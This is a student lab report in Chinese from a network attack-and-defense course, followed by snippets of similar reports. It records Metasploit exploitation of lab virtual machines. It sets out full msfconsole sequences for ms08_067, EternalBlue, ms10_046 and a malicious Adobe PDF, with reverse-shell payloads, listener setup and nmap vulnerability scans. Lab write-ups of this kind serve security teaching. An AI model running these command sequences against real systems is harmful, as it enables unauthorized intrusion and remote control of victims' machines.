2018-2019-2 20165312《网络攻防技术》Exp5 MSF基础应用

2018-2019-2 20165312《网络攻防技术》Exp5 MSF基础应用

目录

  • 一、知识点总结
  • 二、攻击实例
    • 主动攻击的实践

      • ms08_067

        • generic/shell_reverse_tcp(成功)
        • windows/meterpreter/reverse_tcp(失败)
      • ms17_010_eternalblue(成功)
        • generic/shell_reverse_tcp
        • windows/x64/meterpreter/reverse_tcp
        • windows/x64/meterpreter/bind_tcp
        • windows/x64/shell/reverse_tcp_rc4
    • 攻击浏览器的实践
      • ms11_050(失败)
      • ms10_046
        • exploit/windows/browser/ms10_046_shortcut_icon_dllloader(失败)
        • exploit/windows/smb/ms10_046_shortcut_icon_dllloader windows/meterpreter/reverse_tcp(成功且唯一)
    • 攻击客户端的实践
      • Adobe(成功)
    • 成功应用任何一个辅助模块
      • 在Exp 5-1中应用use auxiliary/scanner/portscan/tcp搜索靶机开放端口
    • 菜鸡本人还在尝试其他的(先提交嘻嘻)
  • 三、实验中遇到的问题及解决方案
  • 四、实验总结

一、知识点总结

1.MSF攻击方法

  • 主动攻击:扫描主机漏洞,进行攻击
  • 攻击浏览器
  • 攻击其他客户端

2.MSF的六种模块

  • 渗透攻击模块Exploit Modules:攻击漏洞,把shellcode"背"过去

    • 主动渗透攻击:攻击某个系统服务
    • 被动渗透攻击:攻击某个客户端应用
  • 辅助模块Auxiliary Modules:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提
    • 网络服务的扫描与查点
    • 探查敏感信息泄露、Fuzz测试发掘漏洞
    • 收集登录密码
  • 攻击载荷Payload Modules:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码
  • 空字段模块Nop Modules
    • 一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,即空指令(滑行区)
    • 由于系统无法精确计算shellcode的起始地址,所以加入nops以增加攻击成功的概率
  • 编码模块Encoders
    • 改变payload形状,使得不出现特定字符
    • 确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符”
  • 后渗透攻击模块Post:攻击成功之后,动态传输代码使其在被控机执行
  • 查看六种模块源码目录/usr/share/metasploit-framework/modules

3.MSF的三种用户操作界面

  • msfconsole

    • 查看模块的具体信息info [exploits|auxiliary|post|payloads|encoders|nops]
    • 查看设置信息show [options]
    • 查看攻击目标类型show [target]
    • 查找命令search
      • 查找2016年产生的在windows平台下的漏洞search ms16 type:exploit platform:windows
  • armitage
    • 启动服务器service postgresql start
    • 启动armitagearmitage
  • webgui

返回目录

二、攻击实例

Exp5-1 实现ms08_067

靶机:Microsoft Windows 2000(10.0.0.140)

payload : generic/shell_reverse_tcp

实验步骤

  • 靶机和攻击机ping成功(建议改成桥接模式)
  • 攻击者试探靶机是否存在ms08_067这个漏洞nmap -sS -A --script=smb-vuln-ms08-067 -PO 10.0.0.140
    • 建议使用这个步骤,要不会换很多台虚拟机找靶机……(稍微省事一点吧)
    • 查看到靶机的版本号
    • 查看到靶机存在ms08_067这个漏洞,有了这个大前提,我们就可以开始攻击了
  • 输入msfconsole打开metasploit控制台,遇到图下这个问题。因为没有连接到服务器。
  • 输入service postgresql start启动服务器,再重新进入metasploit控制台就可以了(参考链接
  • 查看一下ms08_067这个漏洞在哪里search ms08-067
  • 选择漏洞use exploit/windows/smb/ms08_067_netapi
  • 查看设置信息show options
  • 设置靶机ipset RHOSTS 10.0.0.140
  • 默认端口为445,使用辅助模块查看445端口是否开放
search portscan # 搜索端口
use auxiliary/scanner/portscan/tcp # 使用漏洞
show options  #显示设置
set RHOSTS 10.0.0.140  # 设置监听者地址
exploit # 攻击

  • 查看targetsshow targets 也可以看到我们靶机的类型set target 1其实这里不修改也是可以的
  • 查看可用payloadshow payloads选择generic/shell_reverse_tcp
  • set payload generic/shell_reverse_tcp
  • 查看设置信息show options
  • 设置监听者ipset LHOST 10.0.0.154
  • 设置监听者端口号set LPORT 5312
  • 进行攻击exploit

尝试更换一个payload : windows/meterpreter/reverse_tcp

  • 在刚才的实验基础上我继续尝试了and前面步骤都一样就是payload不一样,但是攻击失败了
  • 我在这篇博客里面找到了一些解释,大概的意思是和端口有关。然后我换了一个端口and重启win2000,然后又出现了这个错误
  • 看英文解释是连接不上了,很显然是win2000出问题了。果然他开始自动重启了,好的这个虚拟机被我玩崩了(快照smile)

返回目录

Exp5-2 实现MS17_010_eternalblue

靶机:Microsoft Windows 7(10.0.0.168)

payload : generic/shell_reverse_tcp

实验步骤

nmap --script=vuln 10.0.0.168 #查看靶机开放端口、是否存在ms17_010
search ms17_010 #搜索漏洞
use exploit/windows/smb/ms17_010_eternalblue    #使用漏洞
show payloads   #显示可用攻击载荷
set payload generic/shell_reverse_tcp  #选择攻击载荷
show options #查看配置信息
set LHOST 10.0.0.154 #设置监听地址
set RHOSTS 10.0.0.168 #设置靶机地址
exploit #开始攻击

攻击成功


尝试更换一个payload : windows/x64/meterpreter/reverse_tcp

  • 攻击成功

尝试再更换一个payload:windows/x64/meterpreter/bind_tcp

  • 攻击成功

尝试再更换一个payload:windows/x64/shell/reverse_tcp_rc4

  • 攻击成功

    正常情况下只要是相对应的payloads都是可以成功的,还有很多选择就不罗列了

返回目录

Exp5-3 实现ms11_050

靶机:Microsoft Windows XP SP3 + IE8 / Windows 7 + IE8

payload : generic/shell_reverse_tcp

实验步骤

  • 搜索漏洞search ms11_050
  • 使用漏洞use exploit/windows/browser/ms11_050_mshtml_cobjectelement
  • 显示靶机类型show targets
  • 设置靶机类型set target 3
  • 显示可用攻击载荷show payloads
  • 选择攻击载荷set payload generic/shell_reverse_tcp
  • 显示配置信息show options
  • 设置监听地址set LHOST 10.0.0.154
  • 设置本地地址set SRVHOST 10.0.0.154
  • 开始攻击exploit
  • but攻击失败了

  • 我尝试把IE浏览器的安全级别降到最低,失败again
  • 重新在虚拟机中下载IE7(抱着低版本或许好攻击的想法),失败again
  • 用同样的方法我攻击了 Windows 7 + IE8 ,我遇到了同样的问题
  • 开始思考为什么,我猜测是IE浏览器的问题,and我还没解决……

返回目录

Exp5-4-1 实现ms10_046(失败版本)

靶机:Microsoft Windows XP SP3 + IE8 / Windows 7 + IE8

payload : windows/meterpreter/reverse_tcp

实验步骤

  • 首先查看还有哪些浏览器漏洞cd /usr/share/metasploit-framework/modules/exploits/windows/browser
  • 输入ls命令即可看到很多漏洞代码,随意选择一个吧
  • 输入msfconsole进入控制台,并使用刚才找到的exploituse windows/browser/ms10_046_shortcut_icon_dllloader
  • 查看一下这个漏洞的作用的作用info通过查看Description可以知道

    这个模块利用了Windows快捷方式文件(. lnk)处理中的一个漏洞,该文件包含指向恶意DLL的图标资源。此模块创建一个WebDAV服务,当以UNC路径访问该服务时,可以使用该服> 务运行任意负载。

  • 接着就是一些常规操作
show payloads   #显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp #选择攻击载荷
show options #查看配置信息
set LHOST 10.0.0.154  #设置监听地址
exploit #进行攻击
  • 在靶机用浏览器打开链接

  • 虽然靶机进入到了共享文件夹,但是监听方这边却显示无会话。且我在靶机刷新页面,监听方也是可以监控到。但是一直显示无会话,我猜测或许是会话中断了,但是却没有任何报错显示,无从查证。
  • 没错,我又尝试了winXP+IE8。结果是一样的,也是可以访问共享文件,但是一直显示无会话……

  • 然后,我又尝试了win2000,IE根本就访问不了那个页面
  • 不死心的我,尝试了ms10_046的另外一个exploit

Exp5-4-2 实现ms10_046(成功版本)

靶机:Windows 7 + IE8

exploit : exploit/windows/smb/ms10_046_shortcut_icon_dllloader

payload : windows/meterpreter/reverse_tcp

实验步骤

search ms10-046 #看看其他的exploit
use exploit/windows/smb/ms10_046_shortcut_icon_dllloader  #使用漏洞
show payloads   #显示可用攻击载荷
set windows/meterpreter/reverse_tcp  #选择攻击载荷
show options #查看配置信息
set LHOST 10.0.0.154 #设置监听地址
set SRVHOST 10.0.0.154 #设置本地收听地址
set RHOSTS 10.0.0.168 #设置靶机地址
exploit #开始攻击

  • /root/.msf4/local/msf.lnk共享到win7虚拟机中,然后双击,即可在kail监听到,输入sessions查看当前会话
  • 输入sessions -i 1即可选择第一个会话,然后就攻击成功(终于……)

返回目录

Exp5-5 实现Adobe

靶机:Windows XP

实验步骤

search adobe #进行查找
use windows/fileformat/adobe_cooltype_sing  #使用漏洞
set payload windows/meterpreter/reverse_tcp #选择攻击载荷
set LHOST 10.0.0.154 #攻击者地址
set FILENAME 20165312.pdf #设置生成pdf文件的文件名
exploit #攻击

  • 将生成的20165312.pdf复制到Windows XP中
  • kail中输入back退出当前模块,进入监听模块
use exploit/multi/handler #进入监听模块
set payload windows/meterpreter/reverse_tcp  #选择攻击载荷
set LHOST 10.0.0.154 #攻击者地址
exploit #攻击
  • 在靶机中打开20165312.pdf
  • 攻击成功

返回目录

三、实验中遇到的问题及解决方案

1.在实现ms08-067的时候,一开始我的靶机我使用的是windows xp系统,但是一直没有会话建立

  • 参考一位学长的博客(讲解超级详细),发现了其中的原因。
  • 第一点我忘记了一个大前提,我没有先扫描靶机存在的漏洞,使用nmap -sS -A --script=smb-vuln-ms08-067 -PO 10.0.0.165发现windows xp里面就没有这个漏洞
  • 然后在windows xp中输入systeminfo命令,原来windows xp里面已经有了ms08-067漏洞的补丁

2.进行exploit攻击的时候,出现了如下问题

  • 我理解的意思大概就是被占用了,然后我试过换端口,没有起作用。最好的方法是重启msf

返回目录

四、实验总结

1.实验总结与体会

实验的过程中一直困苦于no sessions的问题,有些问题最后解决了,有些问题还在遗留,总体上收获很大。虽然之前也使用过msfconsole,但是这次实验从系统上了解了他的六大模块,实验中用的最多的还是exploit和payload。从这次实验,我也更加感受到nmap的强大,感觉nmap和auxiliary的作用有相似之处。之前在做其他课程的实验也使用过nmap,但是这次却让我实验效率提高。

2.离实战还缺些什么技术

啊,这可是差的远了。实验参考了往届学长学姐的分析和做法,也尝试了新的攻击方法,遇到很多问题,好在成功了。对于msf我还是个小白,距离实战还有很远很远的路。

3.用自己的话解释什么是exploit,payload,encode.

exploit攻击者对靶机进行攻击的这一过程

payload攻击者进行攻击的“武器”

encode编码,使得shellcode改变形状,不具有特定字符

返回目录

原文地址:https://www.cnblogs.com/cxgg/p/10691066.html

时间: 2024-11-01 15:37:56

2018-2019-2 20165312《网络攻防技术》Exp5 MSF基础应用的相关文章

20155338 《网络攻防》Exp5 MSF基础应用

20155338 <网络攻防>Exp5 MSF基础应用 基础问题回答 1. 用自己的话解释什么是exploit,payload,encode? exploit将真正要负责攻击的代码传送到靶机中,相当于载具 payload负责执行相应的攻击代码,相当于载荷 encode是伪装,为了避免payload中坏字符影响功能,相当于编码 实验过程 Windows服务渗透攻击--MS08-067安全漏洞 攻击机:kali,ip:172.30.6.185 靶机:windows XP SP3,IP地址是172.

20155301 《网络攻防》 Exp5 MSF基础应用

20155301 <网络攻防> Exp5 MSF基础应用 基础问题 1.用自己的话解释什么是exploit,payload,encode 答:exploit就是利用一些工具的,用来收集目标靶机的这种漏洞或者个人信息,并可以进行一些比如摄屏.提权等操作. payload就是一个负载,可以负载程序或者数据等到目标靶机,实现攻击. encode是一个加密的工具,可以加密信息或者文件. Windows服务渗透攻击--ms07_029_msdns_zonename 基本信息 1.靶机型号:windows

2018-2019~6 20165107 网络对抗技术 Exp5 MSF基础应用

20165107 网络对抗技术 Exp5 MSF基础应用 1.实验内容 1.1一个主动攻击实践,如ms08_067(成功) 1.2 一个针对浏览器的攻击,如ms11_050(成功) 1.3 一个针对客户端的攻击,如Adobe(成功) 1.4 成功应用任何一个辅助模块,如scanner/rdp/ms12_020_check(唯一,成功) 2.基础问题回答:用自己的话解释什么是exploit,payload,encode. exploit相当于是载具,是渗透攻击模块,将负责攻击的代码传送到靶机中.

20155334 《网络攻防》Exp5 MSF基础应用

一.基础问题回答 解释exploit,payload,encode是什么: 项目 作用 exploit 是负载有用代码的交通工具,让代码到达目的地,并作用 payload 是有具体功能的代码,能够完成具体的任务 encode 对payload进行再编译,避免让被攻击者知道这是病毒 二.实践总结与体会 怎么说呢,这次实验是学这门课程以来遇到问题最多的一次,虽然不知道后面的实验有木有这么虐心. 苦难越多,意味着收获越多,虽然使用的都是以前的,现在看来已经过时的漏洞,但成功的喜悦还是让我幸福满满. 虽

20155211 网络攻防技术 Exp08 Web基础

20155211 网络攻防技术 Exp08 Web基础 实践内容 Web前端HTML,能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML. Web前端javascipt,理解JavaScript的基本功能,理解DOM.编写JavaScript验证用户名.密码的规则. Web后端:MySQL基础:正常安装.启动MySQL,建库.创建用户.修改密码.建表. Web后端:编写PHP网页,连接数据库,进行用户认证. 最简单的SQL注入,XSS攻击测

20155232《网络对抗》Exp5 MSF基础应用

20155232<网络对抗>Exp5 MSF基础应用 基础问题回答 用自己的话解释什么是exploit,payload,encode. exploit:就是利用可能存在的漏洞对目标进行攻击,相当于一个载具 payload:就是攻击的代码,是载荷. encode:为了帮助攻击载荷避免被杀软发现,进行伪装. 实践总结与体会 在辅助模块这里,可以发现很多旧版本的软件有漏洞,从而可以进行相关的攻击,在此次实验中就体验了旧版本有漏洞的一些软件进行了攻击并且很轻易就实现了,所以有漏洞时,一定要尽快打补丁,

20145311王亦徐 《网络对抗技术》 MSF基础应用

20145311王亦徐 <网络对抗技术> MSF基础应用 实验内容 掌握metasploit的基本应用方式以及常用的三种攻击方式的思路 主动攻击,即对系统的攻击,不需要被攻击方配合,以ms08_067渗透为例 针对浏览器的攻击,以漏洞10_046为例 针对客户端的攻击,对具体应用的攻击,以对Adobe阅读器的漏洞攻击为例 最后是一个auxiliary模块的例子的应用 基础问题回答 1.解释exploit,payload,encode是什么 exploit是渗透攻击模块,利用系统服务应用中的漏洞

20145321 《网络对抗技术》 MSF基础应用

20145321 <网络对抗技术> MSF基础应用 MS08_067漏洞渗透攻击 先查看kali和windows的IP地址 进入msfconsole,选择使用ms08_067的exploit,再选择具体要负载使用的payload,设置载荷,主机ip,靶机ip 输入exploit命令即可攻击客户端.获取shell.可查看靶机IP

《网络对抗》Exp5 MSF基础应用

20155336<网络对抗>Exp5 MSF基础应用 一.基础知识回答 用自己的话解释什么是exploit,payload,encode exploit:漏洞利用,与靶机进行交互,攻击靶机的最后一步 payload:有效载荷,后面一般加要对靶机进行攻击的代码,可以实现任何运行在受害者环境中的程序所能做的事情 encode:编码器,对代码进行异或运算.去除坏字符等等,保护payload不被发现 二.实践过程 1.Windows服务渗透攻击--MS08-067安全漏洞 ①攻击机:kali ②靶机:

20155330 《网络对抗》 Exp5 MSF基础应用

20155330 <网络对抗> Exp5 MSF基础应用 实践过程记录 Windows服务渗透:MS08_067漏洞攻击 攻击机:kali IP地址:192.168.124.132 靶机:windows XP SP3 简体中文 IP地址:192.168.124.135 输入命令use exploit/windows/smb/ms08_067_netapi 设置参数 set payload generic/shell_reverse_tcptcp反向回连 set LHOST 192.168.23